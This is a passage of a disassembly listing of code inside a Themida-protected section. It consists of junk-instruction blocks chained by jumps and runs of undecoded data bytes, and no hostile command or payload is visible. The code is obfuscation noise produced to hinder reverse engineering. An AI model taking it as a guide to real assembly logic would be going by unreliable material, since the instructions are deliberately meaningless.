		push	eax
		jmp	loc_5529B9
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 3BE92404h, 1FFFFE1h, 0D0C381EBh, 5D148728h
		dd 517EE9h, 0E9772C00h,	0FFFF9FEBh
; ---------------------------------------------------------------------------


loc_558898:				; CODE XREF: Themida_:00550FCEj
		mov	ebx, 7F8530E5h
		push	ebp
		mov	ebp, 105CF2A0h
		sub	ebx, ebp
		pop	ebp
		add	ebp, ebx
		pop	ebx
		and	ebp, 20EF7C11h
		add	ebp, 78083A65h
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		sub	edx, eax
		jmp	loc_5510E7
; ---------------------------------------------------------------------------
		db 5
		dd 4, 0E9240487h, 98FDh, 4EC81h, 3C890000h, 56496824h
		dd 24890000h, 24048124h, 4, 4EC835Fh, 81243489h, 4ECh
		dd 240C8900h, 7A169F68h, 75B1E933h, 0EA830000h,	0BEF28101h
		dd 817BFEEBh, 0F15571C6h, 14EE8121h, 8129AD27h,	6D2BB1C6h
		dd 0E9D60119h, 0FFFF8BB3h, 0E9240489h, 0FFFF8E1Fh, 0BFE9C229h
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55893B:				; CODE XREF: Themida_:00557FDFj
		pop	ecx
		push	0C17h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5559AC
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 2BBh, 5BD90100h, 0A5B68h, 4BEFE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558966:				; CODE XREF: Themida_:00556254j
		add	ebx, 215E1DF6h
		sub	ebx, esi
		sub	ebx, 215E1DF6h
		jmp	loc_55CF55
; ---------------------------------------------------------------------------
		db 0E9h, 47h, 54h
		dd 0C31FFFFh, 240C3324h, 242C895Ch, 168h, 242C8B00h, 0E904C483h
		dd 0FFFFA3C8h, 362268h,	242C8900h, 3606E9h, 5BD80100h
		dd 0FF83A3E9h, 27C181FFh, 8146AD4Bh, 9C74B8C1h,	49BB5333h
		dd 0E9617D52h, 0FFFFC5E2h, 24048B66h, 685F5457h, 2741h
		dd 0E9240489h, 87C3h, 0FDE9CDFEh, 89FFFFFBh, 0B8502434h
		dd 312D0296h, 4034B805h, 0F406E964h, 0D400FFFFh, 0FFF368E9h
		dd 1F24BFFFh, 15E91239h, 0C1FFFF5Ah, 814608EEh,	476764C6h
		dd 5EF30973h, 1805B850h, 0C3018C50h, 0FF9549E9h, 0F665CFFh
		dd 9C2404BBh, 33EAE9h, 0B1EF8000h, 0C780CF28h, 0AE959B1h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558A37:				; CODE XREF: Themida_:00557983j
		not	dword ptr [esp]
		jmp	loc_561F23
; ---------------------------------------------------------------------------


loc_558A3F:				; CODE XREF: Themida_:0055E2CFj
		xor	eax, ebx
		jmp	loc_561488
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 9C240410h, 0FF5370E9h, 5AD788FFh,	524FEF80h
		dd 0DAF661B2h, 3997E9h,	0E9DE0100h, 0FFFF8FBCh
; ---------------------------------------------------------------------------


loc_558A6C:				; CODE XREF: Themida_:0054F844j
		not	ebx
		shl	ebx, 8
		xor	ebx, 0D916B39Dh
		sub	ebp, ebx
		jmp	loc_555576
; ---------------------------------------------------------------------------
		dw 1CBBh
		dd 0F7498307h, 37BF57D3h, 955A232h, 814B5FFBh, 400E5BCBh
		dd 2EC3816Ah, 2139DE27h, 0BA525BDEh, 110C2427h,	70E9D631h
		dd 81FFFF5Fh, 4E9h, 240C8700h, 0FFB254E9h, 243489FFh, 0B8505E54h
		dd 4, 674CBA52h, 25E91BBEh, 5AFFFF90h, 8704C583h, 685C242Ch
		dd 2C36h, 0BD242C89h, 33F5389Eh, 5FE9DDF7h, 66000004h
		dd 66390D68h, 0F581665Dh, 8966390Fh, 51665DE9h,	2EC81h
		dd 89660000h, 0B8662404h, 0B5E975ACh, 2500000Eh, 3B556E32h
		dd 0FFE53CE9h, 0DCBD55FFh, 533E5341h, 3D07E9h, 4C5DB900h
		dd 0C1811C72h, 40452000h, 0FFD7B8E9h, 0E9C701FFh, 0FFFFEC4Ch
		dd 8105E9C1h, 4503E0E9h, 72AD0503h, 0C8296E62h,	6272AD2Dh
		dd 5648596Eh, 3D1921BEh, 0F7D6F76Dh, 4FF681D6h,	816D6441h
		dd 0F35F10C6h, 49C68113h, 3104E7A3h, 93BDE9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558B76:				; CODE XREF: Themida_:0055C274j
		or	edx, eax
		jmp	loc_54DDE9
; ---------------------------------------------------------------------------


loc_558B7D:				; CODE XREF: Themida_:00562492j
		add	eax, 1F3495DCh
		mov	edi, eax
		pop	eax
		sub	edi, 7A526B0Bh
		sub	edi, edx
		push	esi
		mov	esi, 3EE96210h
		inc	esi
		neg	esi
		jmp	loc_54DEFB
; ---------------------------------------------------------------------------


loc_558B9B:				; CODE XREF: Themida_:0055BD22j
		mov	ebx, 467D3864h
		xor	[esp+4], ebx
		jmp	loc_560D26
; ---------------------------------------------------------------------------
		db 0ACh, 53h, 50h
		dd 0FFE145E9h, 241C89FFh, 4EC81h, 0C890000h, 24A0E924h
		dd 0F0290000h, 6B785D2Dh, 64E95E5Ch
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558BCF:				; CODE XREF: Themida_:005534D7j
		add	edx, 4
		jmp	loc_55DB7B
; ---------------------------------------------------------------------------


loc_558BDA:				; CODE XREF: Themida_:0054ED6Fj
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_562513
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E9502404h, 0FFFF9DA2h
; ---------------------------------------------------------------------------


loc_558C04:				; CODE XREF: Themida_:0056251Dj
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 7BEF48DAh
		shl	ebp, 7
		neg	ebp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55A454
; ---------------------------------------------------------------------------


loc_558C1F:				; CODE XREF: Themida_:005627F3j
		pop	ebp
		xor	edi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_55AC81
; ---------------------------------------------------------------------------
		dw 335Ah
		dd 0F8E9241Ch
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558C37:				; CODE XREF: Themida_:00555C3Cj
		push	ecx
		mov	ecx, 4
		sub	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_55512E
; ---------------------------------------------------------------------------
		db 50h
		dd 33C2BD55h, 0F581662Eh, 700212C7h, 381ED81h, 0DDF763C4h
		dd 4EC81h, 14890000h, 4EC8124h,	89000000h, 0DC68240Ch
		dd 596F310Ch, 1F64C981h, 0FEE9742Dh
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558C83:				; CODE XREF: Themida_:005627BFj
		add	edi, ecx
		pop	ecx
		push	288Ah
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_55C208
; ---------------------------------------------------------------------------
		db 80h,	0C7h, 0C6h
		dd 0E95BFC28h, 6BE2h
; ---------------------------------------------------------------------------


loc_558CAC:				; CODE XREF: Themida_:00554DECj
		xor	ebx, 47BA3A4Bh
		jmp	loc_551927
; ---------------------------------------------------------------------------
		db 21h
		dd 0BA5258C6h, 6EA955D2h, 6E09CA81h, 0EA811B28h, 59B32696h
		dd 0FF6F26E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558CD1:				; CODE XREF: Themida_:00556AD7j
		mov	edx, 31F170CFh
		push	ebp
		mov	ebp, 6C4702DBh
		xor	edx, ebp
		jmp	loc_55C09F
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 57000000h,	4BFh, 0E9F90100h, 4D78h
; ---------------------------------------------------------------------------


loc_558CF8:				; CODE XREF: Themida_:00562101j
		pop	ebp
		push	512Bh
		jmp	loc_55CA7B
; ---------------------------------------------------------------------------
		db 81h
		dd 5256C8EFh, 52C70157h, 5256C8BAh, 5AD70157h, 0E9FD0158h
		dd 0FFFF65E1h, 617DEA81h, 0F2817CCFh, 5D645108h, 5D02C281h
		dd 0D729B543h, 0FFEF815Ah, 81FFFFFFh, 0FC4924EFh, 8BF901B0h
		dd 0C483243Ch, 9EE95A04h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558D4B:				; CODE XREF: Themida_:0055DF97j
		mov	edi, [esp]
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp


loc_558D5B:				; CODE XREF: Themida_:005542C0j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_552E0B
; ---------------------------------------------------------------------------


loc_558D69:				; CODE XREF: Themida_:00553134j
		mov	[esp], ecx
		jmp	loc_54DDC5
; ---------------------------------------------------------------------------


loc_558D71:				; CODE XREF: Themida_:00560249j
		pop	ecx
		jmp	loc_55D1B4
; ---------------------------------------------------------------------------
		db 59h
		dd 5704C483h, 0E33D55BFh, 8EFC172h, 0A4CBA52h, 0D72948AFh
		dd 0EDEF815Ah, 0E9B7C3D8h, 5D88h, 436FED81h, 0F7450CC5h
		dd 28ED81D5h, 216ED8F0h, 0F945E9E9h, 0D2F7FFFFh, 136EA81h
		dd 0D1292188h, 0E9F1015Ah, 911Eh, 4240483h, 5D2434FFh
		dd 81E38953h, 4C3h, 4C38100h, 87000000h, 1CE9241Ch, 81000062h
		dd 4C4h, 0EAE95300h, 58000039h,	0F43C681h, 0DE292AFCh
		dd 0FF8D55E9h, 241489FFh, 41B95153h, 0BB45C018h, 9256BE1h
		dd 5359CB31h, 0FFE119E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558E11:				; CODE XREF: Themida_:00550B23j
		pop	edi
		add	edi, 4
		push	esi
		mov	esi, 4
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		push	643Ch
		mov	[esp], edi
		jmp	loc_557FFE
; ---------------------------------------------------------------------------
		db 30h
		dd 0F58058C5h, 9008E961h, 0E95EFFFFh, 0FFFFCC30h, 83242C8Bh
		dd 54E904C4h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558E4F:				; CODE XREF: Themida_:0055B459j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54FB98
; ---------------------------------------------------------------------------


loc_558E66:				; CODE XREF: Themida_:0055C6AAj
		mov	[esp], ebx
		jmp	loc_561465
; ---------------------------------------------------------------------------
		dw 0F809h
		dd 605405Fh, 0E9426122h, 0FFFF7825h, 33241431h,	0AE92414h
		dd 83FFFFB7h, 896602ECh, 99B22414h, 5A66D300h, 6E4A6866h
		dd 24048966h, 0FFA5C3E9h, 8ABB53FFh, 1D6E1EFh, 0EF815BDAh
		dd 5BB44013h, 40ADEF81h, 0D7291BFCh, 40ADC781h,	0BFE91BFCh
		dd 33FFFF95h, 4312404h,	24043324h, 0E924248Bh, 4554h
; ---------------------------------------------------------------------------


loc_558ED4:				; CODE XREF: Themida_:0055DB81j
		pop	esp
		push	1678h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		push	ecx
		jmp	loc_55B450
; ---------------------------------------------------------------------------
		dd 8904EC83h, 69682404h, 5860CB60h, 37B1E992h, 6C810000h
		dd 32930424h, 6C81180Dh, 29450424h, 740152DFh, 44810424h
		dd 29450424h, 448152DFh, 32930424h, 348B180Dh, 4C48324h
		dd 0FF54C0E9h, 4EC81FFh, 89000000h, 0E9562404h,	0FFFFF30Dh
		dd 0B60F6664h, 6F686602h, 3FB6E946h, 8680000h, 89000010h
		dd 0BB532404h, 6D2D26F8h, 81D3F74Bh, 50FB2CBh, 4564E925h
		dd 0BA520000h, 7EDF72E3h, 495AD109h, 5A32E9h, 0F2815C00h
		dd 816CB4DCh, 4EC81h, 2C890000h, 5909BD24h, 0F581240Ah
		dd 39C647B0h, 555DE945h, 0E9C0FFFFh, 70685008h,	89000023h
		dd 0B252241Ch, 88535107h, 5BFD88D7h, 5A59EB88h,	191D68h
		dd 241C8900h, 8D15E9h, 1C51BE00h, 0F5896981h, 4EDC15Eh
		dd 5B1E9h, 0EF815F00h, 84721618h, 15FF801h, 5959E9C6h
		dd 568FFFFh, 89000028h,	1A682404h, 89000060h, 0FEBE2434h
		dd 0E9000000h, 0FFFFED93h
; ---------------------------------------------------------------------------


loc_558FF8:				; CODE XREF: Themida_:005593A1j
		push	ax
		jmp	loc_562393
; ---------------------------------------------------------------------------
		db 5Bh
		dd 5D545558h, 4C581h, 0ED830000h, 74FF5504h, 8F5D0424h
		dd 4CE92404h, 33FFFFC1h, 248B2404h, 0E9505224h,	5ED9h
		dd 0BCE9C601h, 8FFFFF6Fh, 665C2404h, 6824048Bh,	72F9h
		dd 54243C89h, 0FFE64CE9h, 58C101FFh, 47E9D9F7h,	80FFFF8Fh
		dd 88E989C6h, 29FFFF59h, 0F18959CEh, 0FF571DE9h, 0C4CE81FFh
		dd 0E950B37Bh, 0FFFFF997h, 0E9243489h, 0FFFFC0CBh
; ---------------------------------------------------------------------------


loc_559074:				; CODE XREF: Themida_:0055FC9Cj
		not	eax
		push	esi
		mov	esi, 41465EC9h
		sub	eax, esi
		pop	esi
		push	144Ch
		mov	[esp], ebp
		mov	ebp, 66FE011Dh
		push	eax
		jmp	loc_55BB74
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 0E9243C87h, 0FFFFF97Dh, 8B2434FFh,	0C481241Ch
		dd 4, 0E904C483h, 5231h, 0B6241489h, 0B15166EEh, 66CE2016h
		dd 80D6F659h, 0D6F6B5C6h, 8024EE80h, 0F33072C6h, 6C40E95Ah
		dd 0E9AC0000h, 7CE3h, 0F380DBF6h, 5BDC0825h, 88D6EC80h
		dd 24048BE3h, 5204C483h, 0EEC05BB6h, 1C68005h, 0FFBDC3E9h
		dd 0B60F66FFh, 0E5686602h, 4896658h, 4CB7E924h,	3B05FFFFh
		dd 5E58E32Fh, 0E9240433h, 0FFFF7A5Ah, 8F685152h, 0FF284455h
		dd 0E9592434h, 5D87h, 0D110A22Dh, 0C5315A53h, 8324048Bh
		dd 0BA5204C4h, 1C9A41D4h, 4EC81h, 0C890000h, 7628B924h
		dd 0E981646Bh, 0FFFFFFFFh, 1C181h, 14E90000h, 57FFFF63h
		dd 0E952E789h, 0FFFF8F32h
; ---------------------------------------------------------------------------


loc_559168:				; CODE XREF: Themida_:00552691j
		push	esi
		push	ebx
		mov	ebx, 1F95076Dh
		or	ebx, 7E780BEEh
		jmp	loc_555D32
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 592434FFh, 2FF5E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55918A:				; CODE XREF: Themida_:0055B933j
		pop	edi
		push	7DECh
		mov	[esp], ebp
		push	edx
		jmp	loc_56189B
; ---------------------------------------------------------------------------


loc_559199:				; CODE XREF: Themida_:0055CA53j
		mov	esi, edx
		pop	edx
		jmp	loc_561B6A
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C48359h, 0E950CC80h, 0FFFF6847h, 8D340A05h,	40D8F776h
		dd 4004E9h, 0ABE95F00h,	89FFFFA3h, 273868E6h, 94E90000h
		dd 2DFFFFDCh, 37160264h, 0EA76F90Dh, 7E22E911h,	3C89FFFFh
		dd 0E95F5424h, 2CCDh, 0F3685366h, 89000048h, 0FDB42404h
		dd 887FF480h, 42E958E3h, 0BAFFFF58h, 4,	2B69ED81h, 0D5015F36h
		dd 2B69C581h, 335A5F36h, 2C31242Ch, 7AB5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55921E:				; CODE XREF: Themida_:00558244j
		mov	edx, esi
		jmp	loc_561FC5
; ---------------------------------------------------------------------------
		db 29h,	0DEh, 5Bh
		dd 0FF584FE9h, 5FFD01FFh, 34FFE831h, 0C4835D24h, 4EC7E904h
		dd 50530000h, 0FFED5BE9h, 240C33FFh, 4FF665Ch, 68E99C24h
		dd 80FFFFBCh, 0E95ADBC3h, 696Ch
; ---------------------------------------------------------------------------


loc_55925C:				; CODE XREF: Themida_:00560F7Bj
		push	small 444Ah
		mov	[esp], dx
		push	6D08h
		mov	[esp], ecx
		mov	cl, 2Ch
		add	cl, 0FFh
		xchg	dh, cl
		dec	dh
		jmp	loc_554F15
; ---------------------------------------------------------------------------
		dw 0F801h
		dd 7B254E2Dh, 0F15053Ah, 0BA52400Fh, 397D0249h,	5608E2C1h
		dd 8D1DC1BEh, 5EF22974h, 148BD029h, 4C48324h, 5F2434FFh
		dd 0FF8988E9h, 405FFh, 7E90000h
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5592B3:				; CODE XREF: Themida_:005523D0j
		xchg	esi, [esp]
		jmp	loc_557170
; ---------------------------------------------------------------------------
		db 0BDh
		dd 17132CC3h, 0EDC1D5F7h, 0E8E58106h, 8156E275h, 143F63C5h
		dd 4AE58118h, 81523403h, 0CBFFFAC5h, 5DEF01EDh,	5C243C87h
		dd 4EC81h, 4890000h, 5E08924h, 4, 910CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5592F9:				; CODE XREF: Themida_:00557A7Ej
		mov	esp, [esp]
		mov	[esp], edi
		push	80000h
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_554F75
; ---------------------------------------------------------------------------
		db 87h
		dd 248B243Ch, 241C8924h, 7E0EBF57h, 0E2BB3031h,	31478508h
		dd 0BA525FFBh, 78940879h, 0FCBE281h, 81422357h,	765109F2h
		dd 0D6BD5557h, 0E90C3154h, 6B3Dh, 0C781E789h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_550FBE
; ---------------------------------------------------------------------------
		db 2Dh,	4Fh, 41h
		dd 2AE9918Dh
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55936F:				; CODE XREF: Themida_:0055F8E1j
		push	dword ptr [esp]
		jmp	loc_5505AC
; ---------------------------------------------------------------------------


loc_559377:				; CODE XREF: Themida_:00554650j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 23h
		mov	cl, bl
		pop	ebx
		mov	bl, 45h
		add	bl, cl
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_558FF8
; ---------------------------------------------------------------------------
		dw 8851h
		dd 9AA4E9F5h, 0EA81FFFFh, 499D3BC5h, 0FF6B67E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5593B9:				; CODE XREF: Themida_:0055837Ej
		pop	edx
		sub	eax, 4EBE1FD5h
		sub	eax, edi
		add	eax, 4EBE1FD5h
		jmp	loc_552D8A
; ---------------------------------------------------------------------------
aIuhiv		db '‰ãh©V',0
		align 2
		dw 0C89h
		dd 18C6B924h, 0E981253Bh, 3D7E03C9h, 162AE949h,	0CB810000h
		dd 6411B6Bh, 5608EBC1h,	52CEE9h, 4077FF00h, 0FF49C8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5593FD:				; CODE XREF: Themida_:00557827j
		pop	ecx
		sub	[edi+24h], ebx
		push	dword ptr [esp]
		jmp	loc_55BCE8
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0FFB37EE9h, 3EDC1FFh, 211ACD81h, 0CD814D88h,	6539175Eh
		dd 0ADA4F581h, 9D056973h, 16A6A19h, 199D2DE8h, 2D5D6A6Ah
		dd 198C4995h, 9505E801h, 2D198C49h, 6881A5Bh, 83242C8Bh
		dd 43304C4h, 24043124h,	8B240433h, 0E9F62424h, 0CCB60F66h
		dd 0FFF477E9h, 4C483FFh, 263FE9h
		db 0
; ---------------------------------------------------------------------------


loc_559469:				; CODE XREF: Themida_:00553B07j
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 1C8A18A4h
		pop	ebp
		push	ecx
		mov	ecx, 5C5F879h
		add	ebx, 26371EA3h
		jmp	loc_55781F
; ---------------------------------------------------------------------------


loc_55948A:				; CODE XREF: Themida_:0055BBA3j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5508C5
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0D35C2404h, 0E99C240Ch, 0FFFF4919h, 33240C31h, 0C31240Ch
		dd 6FE3E924h, 9CBA0000h, 0E9086D18h, 0FFFFB3A6h, 52EFF281h
		dd 0D5295772h, 0EAED815Ah, 0E94F3C46h, 120Bh
; ---------------------------------------------------------------------------


loc_5594D8:				; CODE XREF: Themida_:0055D6E8j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ebp
		mov	ebp, 579D2DBEh
		add	edx, ebp
		pop	ebp
		push	edi
		mov	edi, 2C0901B1h
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, edx
		pop	edx
		add	ebx, edi
		add	ebx, 35042C3Dh
		push	31EFh
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0
		mov	eax, edi
		pop	edi
		push	ebp
		jmp	loc_55DC6D
; ---------------------------------------------------------------------------


loc_559520:				; CODE XREF: Themida_:0054F64Cj
		xchg	eax, esi
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		xor	ebp, eax
		not	eax
		xchg	eax, ebp
		jmp	loc_55B56B
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 7Bh
		dd 5D16FF2Ah, 6EB1E9h, 2EDC100h, 0D47EF581h, 0EB892EDAh
		dd 0FF50C3E9h, 243C89FFh, 6852E789h, 1460h, 68241C89h
		dd 4F99h, 0B9240C89h, 4, 0E95A5152h, 0FFFFC10Ch, 561211B8h
		dd 931DE920h, 0B951FFFFh, 73F95FE1h, 2959CD31h,	42E95DE9h
		dd 81000092h, 0FFFFFFEDh, 0F2BB53FFh, 1537457h,	0E5815BDDh
		dd 2C006012h, 1006C581h, 0ED810338h, 0BFB595E3h, 555DEB89h
		dd 0F21B65BDh, 8BEB293Fh, 0C483242Ch, 4E3C104h,	6F75E9h
		dd 5AEBD00h, 0D3E9319Ah, 1FFFFC5h, 0E8295EF5h, 7108E9h
		db 0
; ---------------------------------------------------------------------------


loc_5595DD:				; CODE XREF: Themida_:00561C79j
		neg	ebp
		jmp	loc_55C77F
; ---------------------------------------------------------------------------


loc_5595E4:				; CODE XREF: Themida_:0055820Ej
		add	esp, 4
		neg	ebx
		push	ebp
		mov	ebp, 0D540683h
		sub	ebx, 1C8A18A4h
		sub	ebx, 708721C3h
		add	ebx, 20BC3B1Ah
		sub	ebx, ebp
		sub	ebx, 20BC3B1Ah
		push	edx
		jmp	loc_553B00
; ---------------------------------------------------------------------------
		db 55h
		dd 548577BDh, 67B82DD6h, 942D6F2Fh, 296EC650h, 509405E8h
		dd 52556EC6h, 71659DBAh, 21BBD77h, 0D501F7BEh, 5DE8015Ah
		dd 0E9242C8Bh, 0FFFF84D2h
; ---------------------------------------------------------------------------


loc_559640:				; CODE XREF: Themida_:00556D42j
		dec	ecx
		inc	ecx
		dec	ecx
		add	ecx, 0DED5CE47h
		add	ebx, ecx
		pop	ecx
		jmp	loc_55EED6
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 0E9240431h, 4602h, 12C7815Ah, 0E93D1822h, 0FFFFD42Ch
		dd 50A6F181h, 6DE969ADh
		db 4Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559673:				; CODE XREF: Themida_:00550F9Bj
		xor	edx, 2EAA14FFh
		inc	edx
		jmp	loc_55369F
; ---------------------------------------------------------------------------
		db 81h
		dd 5DF7EDF7h, 5FF989DEh, 6FCDE9h
		db 0
; ---------------------------------------------------------------------------


loc_55968D:				; CODE XREF: Themida_:0054F7A7j
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 5A376838h
		add	ebx, 23BD240Fh
		dec	ebx
		or	ebx, 67926F71h
		add	ebx, 82C51EEAh
		xor	esi, ebx
		pop	ebx
		xor	eax, esi
		pop	esi
		shl	eax, 7
		push	ebp
		mov	ebp, 6A10B002h
		add	eax, ebp
		pop	ebp
		add	ecx, eax
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_557AB2
; ---------------------------------------------------------------------------


loc_5596D1:				; CODE XREF: Themida_:00561185j
		mov	esi, esp
		jmp	loc_55DB2E
; ---------------------------------------------------------------------------


loc_5596D8:				; CODE XREF: Themida_:005562E2j
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		push	esi
		jmp	loc_555F5F
; ---------------------------------------------------------------------------


loc_5596E5:				; CODE XREF: Themida_:0054F4F2j
		mov	ecx, 4C3D37E0h
		sub	ebx, ecx
		pop	ecx
		xor	ebx, 3F71E120h
		sub	edx, ebx
		jmp	loc_557EB9
; ---------------------------------------------------------------------------


loc_5596FA:				; CODE XREF: Themida_:00550B11j
		push	eax
		mov	eax, 7BDF77DFh
		jmp	loc_55D9B1
; ---------------------------------------------------------------------------
		db 0BDh, 62h, 28h
		dd 0F58137A1h, 1D1363BAh, 4A70E9h
		db 0
; ---------------------------------------------------------------------------


loc_559715:				; CODE XREF: Themida_:005564CCj
		xchg	esi, edi
		xor	edi, 4AB6E40Bh
		add	eax, edi
		pop	edi
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		shl	eax, cl
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_550392
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 9C2404ABh, 0FF4678E9h, 24048BFFh, 4C481h, 6CE90000h
		dd 33FFFFE1h, 34312434h, 24343324h, 5DBFE9h
		db 0
; ---------------------------------------------------------------------------


loc_559769:				; CODE XREF: Themida_:00552CF2j
		mov	[esp], edi
		mov	edi, 1B5070BDh
		jmp	loc_55CB3D
; ---------------------------------------------------------------------------


loc_559776:				; CODE XREF: Themida_:0055D630j
		movzx	cx, ah
		push	465Ah
		mov	[esp], ebx
		jmp	loc_554388
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4BB53h, 0DD010000h, 0E9241C8Bh, 584h, 0DAEA815Ch, 160C92Bh
		dd 0B164E9CAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5597A6:				; CODE XREF: Themida_:00550222j
		mov	esi, esp
		push	eax
		mov	eax, 4
		jmp	loc_56121E
; ---------------------------------------------------------------------------


loc_5597B3:				; CODE XREF: Themida_:0055AFC8j
		mov	ecx, 36CA1A31h
		xor	ebx, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	edx, ebx
		pop	ebx
		jmp	loc_55115C
; ---------------------------------------------------------------------------


loc_5597D5:				; CODE XREF: Themida_:0055027Aj
		push	7CB8h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_557FB0
; ---------------------------------------------------------------------------
		dd 8324348Bh, 2C8904ECh, 0E6895624h, 4C681h, 82E90000h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5597FF:				; CODE XREF: Themida_:0055E055j
		add	ecx, 4
		push	edi
		mov	edi, 102E3BB0h
		and	edi, 1D78783Bh
		jmp	loc_557511
; ---------------------------------------------------------------------------


loc_559816:				; CODE XREF: Themida_:00556DEAj
		sub	dword ptr [esp], 0F390764h
		add	dword ptr [esp], 7E144299h
		mov	ebx, [esp]
		jmp	loc_54E8AC
; ---------------------------------------------------------------------------
		dd 47A7ED81h, 0B1E97F93h, 55FFFF63h, 0F435DFBDh, 8BCFE94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559842:				; CODE XREF: Themida_:0055F793j
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 2
		mov	[esp], ax
		jmp	loc_54E7A5
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 95E982B7h, 29FFFF76h, 68E95DE8h
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55986B:				; CODE XREF: Themida_:00554BE3j
		push	edx
		push	546177A4h
		pop	edx
		push	ebx
		mov	ebx, 3C8F2D05h
		shr	ebx, 4
		shr	ebx, 3
		push	esi
		mov	esi, 766E5B15h
		jmp	loc_555339
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4EC8324h, 89240489h,	97BF57E0h, 51753546h, 0B33CCBB9h
		dd 224EE932h, 81590000h, 4C1h, 7BE7E900h, 89500000h, 405E0h
		dd 42D0000h, 87000000h,	895C2404h, 0E6892434h, 4C681h
		dd 0E9510000h, 0FFFFB905h
; ---------------------------------------------------------------------------


loc_5598D4:				; CODE XREF: Themida_:005616B3j
		xchg	eax, edx
		jmp	loc_55C21B
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 4, 8759CF01h, 515C243Ch, 4C6C07B9h, 9BE1816Ch, 41573575h
		dd 348C181h, 0EA81329Eh, 657A3135h, 51E9CA29h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


